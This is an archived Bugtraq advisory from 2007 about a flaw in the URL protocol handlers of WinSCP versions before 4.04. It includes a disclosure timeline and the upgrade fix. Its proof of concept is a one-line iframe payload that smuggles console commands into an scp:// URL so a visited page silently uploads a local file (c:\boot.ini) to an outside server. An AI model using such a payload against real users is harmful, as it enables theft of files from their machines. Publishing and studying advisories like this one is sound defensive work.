bugtraq - WinSCP < 4.04 url protocol handler flaw

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 13 Sep 2007 11:22:32 -0000
From: Kender.Security@...il.com
To: bugtraq@...urityfocus.com
Subject: WinSCP < 4.04 url protocol handler flaw

-Affected products: WinSCP 4.03 and older

-Details:
By default WinSCP installs url protocol handlers for the scp:// and sftp:// protocols.
These could be used by malicious web content to automatically upload any file from the local system to a remote server, or automatically  download files from a remote server to the local system.

Since version 3.8.2 there is a sort of protection against this, but this does not stop all forms of attack.

-PoC:
On a machine you control set up an scp-only account with the username "scp" with any password.
Place this on a website:
<iframe src='scp:password@...rhost.com:" /console /command "option confirm off" "put c:\boot.ini" close exit "'/>
This will upload a file to the server when the page is visited by a user with a vulnerable WinSCP installed.

Downloading a file from the server to any location writable by the current user also works.

-Tested on:
IE6 & IE7 works.
FF older than 2.0.0.5 works.
FF 2.0.0.5 and newer show a confirmation dialog before executing WinSCP.

-Solution
Upgrade to version 4.04 or higher from http://winscp.net/download.php

-Timeline
24-Jul-2007 Vulnerability reported to Martin Prikryl
25-07-2007 Proposed fix to Martin
31-07-2007 Response from Martin
01-09-2007 Martin confirms fix
02-09-2007 New version done
06-09-2007 WinSCP v4.04 released